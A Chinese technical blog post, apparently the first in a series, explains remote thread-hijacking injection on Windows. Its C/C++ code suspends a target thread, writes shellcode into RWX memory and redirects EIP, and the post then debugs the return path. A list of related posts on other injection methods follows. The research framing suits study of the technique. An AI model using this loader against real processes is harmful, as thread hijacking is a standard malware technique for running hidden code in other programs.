windows:shellcode 远程线程hook/注入(一)
https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式:hook 线程;
先说第一种思路,如下:

核心代码解析如下:
1、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;
#include <windows.h>
#include <stdio.h> int main()
{
printf("dead looping...............\n");
while (TRUE)
{ }
}
注意:本人测试环境:

win10 x64为了确保安全,默认增加了很多防护,比如控制流防护CFG,编译的时候需要手动改成否,才能让我们注入的shellcode顺利执行;

2、遍历进程,找到目标进程后再遍历该进程名下其他线程:
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, );
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != ) {
//while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
} victimProcess = OpenProcess(PROCESS_ALL_ACCESS, , processEntry.th32ProcessID); if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
} for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
if (Wow64SuspendThread(threadHandle) == -) //挂起线程失败
{
continue;
}
printf("threadId:%d\n", threadId);
if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
{
printf("threadID = %d inject success!", threadId);
CloseHandle(victimProcess);
CloseHandle(threadHandle);
break;
}
}
3、shellcode代码注入,思路也简单:之前已经已经拿到目标进程和目标线程的句柄,并且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址即可;
BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellAddress == NULL)
{
printf("VirtualAlloc Error\n");
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE );
ResumeThread(hThread);
return FALSE;
} WOW64_CONTEXT ctx = { };
ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx))
{
int a = GetLastError();
printf("GetThreadContext Error:%d\n", a);
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
ResumeThread(hThread);
return FALSE;
}
DWORD currentEIP = ctx.Eip;
if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == )
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("write shellcode error\n");
ResumeThread(hThread);
return FALSE;
}
ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
if (!Wow64SetThreadContext(hThread, &ctx))
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("set thread context error\n");
ResumeThread(hThread);
return FALSE;
}
ResumeThread(hThread);
return TRUE;
}
效果:弹出了messagebox:

也在目标进程的目录下生成了文件:

4、最后做一些总结:
- 为了让被注入的目标进程一直运行,刚开始用了sleep,从process hacker看能正常suspend,但无法resume,shellcode也无法执行;后来改成死循环,能正常执行shellcode了;
- shellcode执行完后,从打印的数据来看,貌似又从main开始运行,如下:

从process hacker看,线程并未改变,还是之前的那个:

那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节作为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,如下:

好在自己写的测试进程不复杂,很容易找到答案,分析如下:
(1)由于cpu执行速度很快,注入shellcode的进程(以下简称loader)在执行suspendThread时大概率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,所以shellcdoe执行完后ret的地址肯定不是while循环更改的;
(2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码如下:

从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp重新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;

这里也能看到栈顶是EntryPoint的地址:

5、 这次注入shellcode虽说成功,问题也很明显:
- 手动关闭了CFG检查,但实际情况是CFG默认是开启的,导致shellcode可能无法执行
- 没有设置返回地址,shellcode执行完,返回地址无法控制(这里只是凑巧回到了原EntryPoint);因suspendThread是随机的,context的eip也是随机的,所以shellcode执行完后返回地址也是随机的,这点在shellode无法写死,只能动态获取;我曾经尝试在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通过字符串操作的时候可能会被截断,暂时没想到好的解决办法;
- 类似explorer这种系统进程,GetThreadContex大概率会失败,可能做了保护;
后续会通过其他方案挨个解决这些问题!
windows:shellcode 远程线程hook/注入(一)的更多相关文章
- windows:shellcode 远程线程hook/注入(三)
今天介绍第三种远程执行shellcode的思路:函数回调: 1.所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开 ...
- windows:shellcode 远程线程hook/注入(二)
https://www.cnblogs.com/theseventhson/p/13218651.html 上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...
- windows:shellcode 远程线程hook/注入(五)
前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...
- windows:shellcode 远程线程hook/注入(四)
https://www.cnblogs.com/theseventhson/p/13236421.html 这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...
- 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。
windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...
- 使用远程线程来注入DLL
使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...
- 【windows核心编程】远程线程DLL注入
15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...
- 实现远程线程DLL注入
### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...
- Dll注入:X86/X64 远程线程CreateRemoteThread 注入
远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...
随机推荐
- Hadoop2.7.7 centos7 完全分布式 配置与问题随记
Hadoop2.7.7 centos7 完全分布式 配置与问题随记 这里是当初在三个ECS节点上搭建hadoop+zookeeper+hbase+solr的主要步骤,文章内容未经过润色,请参考的同学搭 ...
- 6.22 集训--DP复习一
总结 下午的突击练习完全不在状态 A.拦截导弹简单版 题目描述 某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统.但是这种导弹拦截系统有一个缺陷:虽然它的第一发炮弹能够到达任意的高度,但是以后每一发 ...
- 已知如下代码,如何修改才能让图片宽度为 300px ?注意下面代码不可修改。
<img src="1.jpg" style="width:480px!important;”> 总结: max-width:300px transform: ...
- (三)学习了解OrchardCore笔记——灵魂中间件ModularTenantContainerMiddleware的第一行①的模块部分
了解到了OrchardCore主要由两个中间件(ModularTenantContainerMiddleware和ModularTenantRouterMiddleware)构成,下面开始了解Modu ...
- 读《大话设计模式》——应用工厂模式的"商场收银系统"(WinForm)
要做的是一个商场收银软件,营业员根据客户购买商品单价和数量,向客户收费.两个文本框,输入单价和数量,再用个列表框来记录商品的合计,最终用一个按钮来算出总额就可以了,还需要一个重置按钮来重新开始. 核心 ...
- SQL列转行,行转列实现
在工作中,大家可能会遇到一些SQL列转行.行转列的问题,恰好,我也遇到了,就在此记录一下.此处所用的是SQLServer2008R2. 行转列,列转行,都要预先知道要要处理多少数据,在此我就以三种方案 ...
- 数据可视化之PowerQuery篇(十二)客户购买频次分布
https://zhuanlan.zhihu.com/p/100070260 商业数据分析通常都可以简化为对数据进行筛选.分组.汇总的过程,本文通过一个实例来看看PowerBI是如何快速完成整个过程的 ...
- Django框架11 /form组件、modelForm组件
Django框架11 /form组件.modelForm组件 目录 Django框架11 /form组件.modelForm组件 1. form组件介绍 2. form常用字段与插件 3. form所 ...
- (五)学习了解OrchardCore笔记——灵魂中间件ModularTenantContainerMiddleware的第一行②模块的功能部分
在(三)的时候已经说到模块集合用ForEachAsync的扩展方法分配多个任务,把每个modules的ManifestInfo分析出来的功能加入ConcurrentDictionary.我们先看看这个 ...
- Java批量入库Demo
java中往数据库批量插入数据Demo java代码: //入库数据是需要批量入库的List int len =入库数据.size(); //每次循环10条 int incremnet = 10; / ...